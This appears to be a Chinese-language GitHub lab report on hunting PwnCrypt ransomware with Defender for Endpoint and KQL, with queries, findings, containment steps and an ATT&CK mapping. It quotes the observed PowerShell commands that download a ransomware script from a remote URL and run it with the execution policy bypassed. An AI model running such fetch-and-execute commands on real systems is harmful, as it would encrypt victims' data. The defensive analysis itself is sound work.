ericaghdz/threat-hunting-scenario-pwncrypt-ransomware
GitHub: ericaghdz/threat-hunting-scenario-pwncrypt-ransomware
这是一份基于 Microsoft Defender for Endpoint 和 KQL 查询的 PwnCrypt 勒索软件威胁狩猎与事件响应实践报告。
Stars: 0 | Forks: 0
# 威胁狩猎报告:PwnCrypt 勒索软件调查
# 使用的技术
- Microsoft Defender for Endpoint | Endpoint Detection & Response (EDR) 平台
- Kusto Query Language (KQL) | 日志查询与分析
- Microsoft Azure Virtual Machines (VM)
# 网络安全框架
- MITRE ATT&CK Framework | 映射到相关的战术、技术和程序 (TTPs)
## 威胁狩猎前情报
### 威胁概述
- **勒索软件家族:** PwnCrypt
- **执行方式:** 基于 PowerShell 的 payload,用于加密受感染系统上的文件
- **加密标准:** AES-256
- **已知目标目录:** `C:\Users\Public\Desktop`
- **行为:** 加密文件并在文件名前添加 `.pwncrypt` 扩展名
**示例:**
```
hello.txt → hello.pwncrypt.txt
```
### 已知入侵指标 (IOCs)
```
*.pwncrypt.*
```
### 相关威胁狩猎表
- `DeviceProcessEvents`
- `DeviceFileEvents`
## 阶段 1:通过 DeviceFileEvents 验证 IOC
安全团队首先在 `DeviceFileEvents` 表中搜索已知的入侵指标 (IOC) `.pwncrypt`,以此展开调查。
### 使用的查询
```
// Checks for file events matching the PwnCrypt IOC
let targetDevice = "windows-target-";
DeviceFileEvents
| where DeviceName == targetDevice
| where FileName contains ".pwncrypt"
| project Timestamp,
ActionType,
DeviceName,
FileName,
FolderPath,
InitiatingProcessCommandLine
| order by Timestamp desc
```
### 调查结果
查询结果确认 `windows-target-1` 已受到 **PwnCrypt 勒索软件** 的影响。
识别出多个被加密的文件,包括:
```
8876_EmployeeRecords.pwncrypt.csv
1706_ProjectList.pwncrypt.csv
8227_CompanyFinancials.pwncrypt.csv
```
关联的启动进程持续显示出可疑的 PowerShell 执行:
```
powershell.exe -ExecutionPolicy Bypass -File C:\programdata\pwncrypt.ps1
```
在以下时间戳观察到 `pwncrypt.ps1` 的文件创建事件:
```
June 7, 2026 — 8:12:49 PM ET
```
此时间戳被用作在 `DeviceProcessEvents` 表中进行深入调查的基准点。
## 阶段 2:通过 DeviceProcessEvents 进行进程分析
执行了第二次查询,以识别在 `pwncrypt.ps1` 创建时间附近发生的进程执行情况。
### 使用的查询
```
// Check process logs surrounding pwncrypt.ps1 creation time
let targetDevice = "windows-target-";
let specificTime = datetime(2026-06-08T00:12:49.5965458Z);
DeviceProcessEvents
| where DeviceName == targetDevice
| where Timestamp between ((specificTime - 5m) .. (specificTime + 5m))
| project Timestamp,
DeviceName,
FileName,
FolderPath,
ProcessCommandLine,
AccountName
| order by Timestamp desc
```
## 调查发现
### 初始勒索软件准备活动
初始的勒索软件准备活动被识别于:
```
June 7, 2026 — 8:12:47 PM ET
```
执行了以下 PowerShell 命令:
```
powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest `
-Uri https://raw.githubusercontent.com/joshmadakor/lognpacific-public/refs/heads/main/cyber-range/entropy-gorilla/pwncrypt.ps1 `
-OutFile C:\programdata\pwncrypt.ps1
```
该命令使用 `Invoke-WebRequest` 将恶意的 `pwncrypt.ps1` payload 下载到:
```
C:\ProgramData\
```
此活动标志着 **勒索软件攻击的开始**,因为 payload 已成功部署到主机上。
### 勒索软件执行
大约六秒钟后,使用以下命令执行了勒索软件 payload:
```
powershell.exe -ExecutionPolicy Bypass -File C:\programdata\pwncrypt.ps1
```
此执行事件启动了勒索软件加密过程,该过程负责重命名和加密先前在 `DeviceFileEvents` 表中观察到的文件。
## 事件响应措施
确认存在勒索软件活动后,调查从威胁狩猎转入即时事件响应阶段。
执行了以下遏制和补救措施:
- 受感染的主机 `windows-target-1` 已被隔离,以防止横向移动和获取额外的 payload,使用的是 Microsoft Defender XDR 的 **“隔离设备” (Isolate Device)** 功能。
- 恶意的 PowerShell 执行已被终止。
- 恶意文件 `pwncrypt.ps1` 已从主机中删除。
- 在整个环境中进行了额外的威胁狩猎,以识别任何进一步的入侵。结果显示感染仅限于 `windows-target-1`。
- 已知的良好备份恢复了被加密的文件。
## MITRE ATT&CK TTP 映射
### T1059.001 — PowerShell
**解释:**
PowerShell 使用 `ExecutionPolicy Bypass` 执行了 `pwncrypt.ps1` 以运行勒索软件。
### T1105 — Ingress Tool Transfer
**解释:**
`Invoke-WebRequest` 将 PwnCrypt payload 下载到了受感染的系统上。
### T1486 — Data Encrypted for Impact
**解释:**
文件被加密并重命名为带有 `.pwncrypt` 扩展名。
## 事件时间线
```
8:12:47 PM — PwnCrypt payload downloaded to host
8:12:49 PM — pwncrypt.ps1 written to disk
8:12:53 PM — ransomware execution initiated
8:12:54 PM+ — file encryption activity observed
```
## 结论
威胁狩猎活动成功在 `windows-target-1` 上识别出了 **PwnCrypt 勒索软件**的指标。对 `DeviceFileEvents` 和 `DeviceProcessEvents` 的分析确认了从初始 payload 下载到勒索软件执行的攻击链。及时的遏制措施防止了横向扩散,恢复操作也成功从备份中恢复了受影响的文件。
标签:AI合规, Defender for Endpoint, KQL, OpenCanary, 勒索软件